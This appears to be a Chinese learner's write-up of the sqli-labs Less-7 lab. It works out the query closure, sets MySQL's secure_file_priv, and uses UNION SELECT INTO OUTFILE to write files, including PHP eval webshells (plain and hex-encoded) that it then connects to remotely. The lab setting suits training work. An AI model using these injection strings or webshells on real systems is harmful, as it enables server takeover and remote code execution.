sql注入第7关(学习记录)

news2024/10/4 9:37:31

看到这里好像和前面的不一样了,多了个use outfile

先输入个'符号,看报错,还是得看别人的教程,通过查找,好像要通过图片来进行注入,ok呀,又是新的方式,

首先我们需要知道他的闭合方式,我记得前面只要闭合了他就会报错,但是这个他输什么都报错,但就是不能把后面的的闭合了

单引号报错,单引号+括号报错,输一个括号又是正常显示,不知道怎么回事,明天写,先领券

实战的话也只能去猜解了吧,那就先尝试加入--+,然后再去猜解前面的闭合符号

因为成功闭合了,他会返回正常页面

1、尝试

'--+错误页面,

')--+错误页面,

'))--+正常页面

得出结果,闭合符号为'))

再去看着一关的网站源码,也同样可以得出闭合方式为(('1')),上面的意思大概是接受一个get的id传参,给数据库拼接,没有过滤参数

这段代码是一个PHP脚本,用于处理来自GET请求的参数。下面是对代码的解释:

include("../sql-connections/sql-connect.php");: 这一行代码包含了一个名为"sql-connect.php"的文件,该文件通常包含连接到MySQL数据库所需的信息和函数。

error_reporting(0);: 这行代码将错误报告级别设置为0,这意味着不会显示任何错误消息。

if(isset($_GET['id'])): 这个条件语句检查是否存在名为'id'的GET参数。如果存在,则执行下面的代码块。

$id=$_GET['id'];: 如果GET参数'id'存在,将其值赋给变量$id。

$fp=fopen('result.txt','a');: 这行代码打开名为'result.txt'的文件以追加模式('a')。如果文件不存在,它将创建一个新文件。

fwrite($fp,'ID:'.$id."\n");: 这行代码将字符串'ID:'和变量$id的值写入到文件中,并在末尾添加换行符。

fclose($fp);: 最后,关闭文件资源,释放系统资源。

总的来说,这段代码的目的是从GET请求中获取'id'参数的值,并将其记录到一个名为'result.txt'的文件中。

找到闭合方式,下一步就该考虑采用什么方式进行注入了,

正常页面不会返回任何sql信息,没有回显字段,但是这里利用了union的写入数据的功能

报错了之后没有报错信息,不能采用报错注入

不好能用布尔盲注了,因为根据题目我们需要写入文件进行注入

但是我们可以先判断看他有几个字段,因为有错误和正常页面

在url上查询,可能是种种原因,我也不知道为什么原因和navicat查询的字段不一样,不过没有关系
http://sql-labs:8888/Less-7/?id=1')) order by 3--+    //返回正常
http://sql-labs:8888/Less-7/?id=1')) order by 4--+    //返回错误
判断有3个字段




以下是通过navicat直接对数据库进行查询
order by 3查询的是那三个字段呢,通过查询
查询表user
use pikachu;
SELECT * FROM users WHERE id='1' order by 5 -- '));   //5报错,4正常
查询表message
use pikachu;
SELECT * FROM message WHERE id='56' order by 4 -- '));    //4正常,5报错

是上面id、username、password、level字段。

在回到我们的网页当中,order by 3--+正常,order4--+报错,那就说明有3个字段

接下需要通过union select写入文件进行注入 ,需要得到目标地址的绝对路径,很麻烦,我知道的,实战的话可能根据报错一些报错信息,得到一些路径,不知道相对路径行不行

引用知乎的博客"https://zhuanlan.zhihu.com/p/392484484"文章
into_outfile读写文件
2. 条件

1)要有file_priv权限

2)知道网站绝对路径

3)要能用union

4)对web目录有写权限

5)没有过滤单引号

这里需要注意,数据库需要开启写入权限,查询SHOW VARIABLES LIKE "secure_file_priv";

null字段表示禁止,所以需要先开启,找了一圈,不能通过命令直接修改系统文件,他时一个只读变量。

secure_file_priv 有些设置选项:

如果为空,不做目录限制,即任何目录均可以。
如果指定了目录,MySQL 会限制只能从该目录导入、或导出到该目录。目录必须已存在,MySQL 不会自动创建该目录。
如果设置为 NULL,MySQL 服务器禁止导入与导出功能。

没关系哒~,我们把他打开修改就好啦,是my.ini配置的文件,直接修改secure file priv=' '为空即可

"D:\soft\phpstudya\phpstudy_pro\Extensions\MySQL5.7.26\my.ini"

 然后重启一下mysql数据库和apache,在用命令查看,ok呀为空

然后就是利用union select进行写入,我有点兰,就直接拿别人的命令了,再改一下,我的是d盘的test目录

1')) union select 1,2,3,into outfile "D:\\test\1.txt"--+

但是我没读取到,看一下原因,没找到原因,

第一个原因是,3后面没有逗号,因为我们已经判断字段数是3了

第二个原因是,文件目录需要是两个反斜杠,我只写了一个反斜杠,一个反斜杠可能是被浏览器转义了,//是反转义,

修改之后

1')) union select 1,2,3 into outfile "D:\\test\\1.txt"--+

最后也是成功创建了一个4.txt文件

既然可以直接写入文件,那就没有必要去猜解数据库的表名和数据了,

可以直接写入一句话木马,后缀是.php,不然不能解析php代码,然后用蚁剑连接

1')) union select 1,'<?php @eval($_post["test"])?>',3 into outfile "D:\\test\\6.php"--+

本来想直接写在d盘的,但是我不知道怎么读d盘了,网上都是在Less-7目录下的

算了,直接写在Less-7目录下,利用在less-2关卡获取到的绝对路径,因为那有回显,会显示数据

那个命令好像是@@datadir,查看数据目录,还是要猜解的,这也不全

偷个懒,我直接复制我less-7的目录了,//是反转义,网上查的,

错误代码

1')) union select 1,'<?php @eval($_post["test"])?>',3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-7//6.php"--+

正确代码

1')) union select 1,'<?php @eval($_POST["cmd"])?>',3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-7//6.php"--+

所以这个php代码是严格区分大小写的,错误的代码post没有大写,导致我连不上蚁剑

但是连不上,试下网上的那种

1')) union select 1,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-7//7.php"--+但是这个不知道为啥连不上,大小写没问题

解码之后0x<?php eval($_POST['test'])?>,我在eval前面在加上@在编码也是不行

无语了,被360隔离了,难怪没有文件,还是连不上,经过测试发现

"<?php eval($_REQUEST[1])?>",能用这种request连,也可以用post连,代码写错了构造

1')) union select 1,"<?php eval($_REQUEST[1])?>",3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-7//8.php"--+

连接成功!

参考

sqli-labs 靶场 less-7 第七关详解:OUTFILE注入与配置_sqli-labs靶场第七题-CSDN博客

SQLi-Labs 第七关:多命通关攻略-百度开发者中心 (baidu.com)

sqli-labs第七题 - 爱十三的柒 - 博客园 (cnblogs.com)

SQL注入靶场Sqli-Labs 1-65关全部通关笔记【持续更新】 - rebootORZ - 博客园 (cnblogs.com)

MySQL 全局配置 --secure-file-priv_mysql --secure-file-priv-CSDN博客

sqli-labs 靶场 less-7 第七关详解:OUTFILE注入与配置-CSDN博客

sqli-labs关卡7(结合文件上传漏洞+一句马+菜刀)通关思路_sqli-labs 文件上传-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2187769.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

uniapp+Android智慧居家养老服务平台 0fjae微信小程序

目录 项目介绍支持以下技术栈&#xff1a;具体实现截图HBuilderXuniappmysql数据库与主流编程语言java类核心代码部分展示登录的业务流程的顺序是&#xff1a;数据库设计性能分析操作可行性技术可行性系统安全性数据完整性软件测试详细视频演示源码获取方式 项目介绍 老年人 登…

算法 | 鹈鹕算法POA-Transformer-LSTM多变量回归预测

&#x1f525; 内容介绍 近年来&#xff0c;随着大数据时代的到来和计算能力的飞速提升&#xff0c;对复杂系统进行精确预测的需求日益增长。多变量时间序列预测作为一项关键技术&#xff0c;广泛应用于金融、能源、交通等诸多领域。传统的预测方法&#xff0c;例如ARIMA和多元…

Prometheus Metrics和PromQL的使用

Metrics 官方解释是 Metrics are numerical measurements in layperson terms. (通俗地讲&#xff0c;Metrics就是数字测量) Prometheus fundamentally stores all data as time series &#xff08;Prometheus把所有数据都存储为时间序列&#xff09; Every time series is u…

《PMI-PBA认证与商业分析实战精析》第6章 跟踪与监督

第6章 跟踪与监督 本章主要内容包括&#xff1a; 跟踪 关系与依赖性 批准需求 基线化已批准需求 使用跟踪矩阵来监督需求 需求生命周期 管理需求变更 本章涵盖的考试重点&#xff1a; 跟踪与监督的六项活动 跟踪与监督六项活动的可交付成果及活动间的关系 跟踪的定义…

指南:Linux常用的操作命令!!!

引言: 操作系统是软件的一类。 主要作用是协助用户调度硬件工作&#xff0c;充当用户和计算机硬件之间的桥梁。 尽管图形化是大多数人使用计算机的第一选择&#xff0c;但是在Linux操作系统上多数都是使用的&#xff1a;命令行在开发中&#xff0c;使用命令行形式&#xff0c…

【有啥问啥】联邦学习(Federated Learning, FL):保护隐私的分布式机器学习

联邦学习&#xff08;Federated Learning, FL&#xff09;&#xff1a;保护隐私的分布式机器学习 联邦学习&#xff08;Federated Learning, FL&#xff09;作为一种前沿的分布式机器学习技术&#xff0c;正逐步成为解决数据隐私保护与模型性能提升之间矛盾的关键方案。以下是…

HTTP Cookie与Session

目录 一. 引入Cookie 1.1 定义 1.2 工作原理 1.3 分类 二. 认识Cookie 三. 测试Cookie 五. 引入Session 六. 测试Session 这篇博客&#xff0c;我们来看看Cookie与Session&#xff0c;内容干货满满。 一. 引入Cookie 1.1 定义 HTTP Cookie&…

幂等性及技术解决方案

目录 定义幂等性 为什么需要幂等性幂等性设计注意事项幂等性的范围分布式锁解决幂等性 设计 延伸阅读 定义幂等性 简单地说&#xff0c;我们可以多次执行幂等运算而不改变结果或者使用相同的输入参数中被调用多次&#xff0c;则不具有额外效果的操作&#xff0c;也就是多次执…

使用pytdx获取历史股票行情

使用pytdx获取历史股票行情 先看效果pytdx基础获取历史股票行情将历史数据存入数据库 先看效果 获取从2010年01月01日-2024年09月30日的股票数据 pytdx基础 https://blog.csdn.net/firexiaHouse/article/details/142687052?spm1001.2014.3001.5501 获取历史股票行情 def …

C++11--智能指针

引入 为什么需要智能指针&#xff1f; 在介绍异常时&#xff0c;遇到以下场景&#xff0c;处理异常就会比较棘手&#xff1a; void Func() {int* arr1 new int[10];int* arr2 new int[20];int* arr3 new int[30];// ...delete[] arr1;delete[] arr2;delete[] arr3; }这里…

一文吃透 SpringBoot (从入门到精通)

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏…

15分钟学 Python 第35天 :Python 爬虫入门(一)

Day 35 : Python 爬虫简介 1.1 什么是爬虫&#xff1f; 网页爬虫&#xff08;Web Crawler&#xff09;是自动访问互联网并提取所需信息的程序。爬虫的主要功能是模拟用户通过浏览器访问网页的操作&#xff0c;从而实现对网页内容的批量访问与信息提取。它们广泛应用于数据收集…

【IPv6】IPv6地址格式及地址分类(组播、单播、任播)整理

IPv6地址格式 IPv6 地址从 IPv4 地址的 32 bits 扩展到 128 bits&#xff0c;IPv6 地址的表示、书写方式也从 IPv4 的点分十进制&#xff0c;修改16进制的冒号分割 IPv4 点分格式(.) 192.168.11.11 IPv6 冒号分割(:) 2408:8459:3032:0000:0000:0000:0001:a9fd IPv6 的规范…

平面电磁波的电场能量磁场能量密度相等,注意电场能量公式也没有复数形式(和坡印廷类似)

1、电场能量密度和磁场能量密度相等(实数场算的) 下面是电场能量密度和磁场能量密度的公式&#xff0c;注意这可不是坡印廷定理。且电场能量密度没有复数表达式&#xff0c;即不是把E和D换成复数形式就行的。注意&#xff0c;一个矢量可以转化为复数形式&#xff0c;两个矢量做…

6.4 数据处理架构模式和实践

6.4 数据处理架构模式和实践 目录概述需求&#xff1a; 设计思路实现思路分析1.批处理架构2.实时处理架构3.流处理架构4.微服务架构&#xff08;重点&#xff09;5.数据湖架构6.数据仓库架构 参考资料和推荐阅读 Survive by day and develop by night. talk for import biz , s…

Java | Leetcode Java题解之第452题用最少数量的箭引爆气球

题目&#xff1a; 题解&#xff1a; class Solution {public int findMinArrowShots(int[][] points) {if (points.length 0) {return 0;}Arrays.sort(points, new Comparator<int[]>() {public int compare(int[] point1, int[] point2) {if (point1[1] > point2[1…

微软官网列出了 Windows 11 LTSC 2024 中的全部新功能

今天早些时候&#xff0c;微软发布了有关受托管PC的Windows 11 24H2 升级和兼容性的详细信息。 该帖子针对的是负责在各自办公室和组织中处理系统的 IT 系统管理员。与此同时&#xff0c;微软也发布了有关 Windows 11 LTSC 或长期服务渠道的信息。 该公司已于四月早些时候证实…

yolov10+strongsort的目标跟踪实现

此次yolov10deepsort不论是准确率还是稳定性&#xff0c;再次超越了之前的yolodeepsort系列。 yolov10介绍——实时端到端物体检测 YOLOv10 是清华大学研究人员在 UltralyticsPython 清华大学的研究人员在 YOLOv10软件包的基础上&#xff0c;引入了一种新的实时目标检测…

Java 异常一口气讲完!(_ _)。゜zzZ

Java 异常处理 Java面向对象设计 - Java异常处理 异常是在没有定义正常执行路径时在Java程序的执行期间可能出现的条件。 Java通过将执行操作的代码与处理错误的代码分离来处理错误。 当发生异常时&#xff0c;Java会创建一个包含有关异常的所有信息的对象&#xff0c;并将其…

HTML增加文本复制模块(使用户快速复制内容到剪贴板)

增加复制模块主要是为了方便用户快速复制内容到剪贴板&#xff0c;通常在需要提供文本信息可以便捷复制的网页设计或应用程序中常见。以下是为文本内容添加复制按钮的一个简单实现步骤&#xff1a; HTML结构&#xff1a; 在文本旁边添加一个复制按钮&#xff0c;例如 <butto…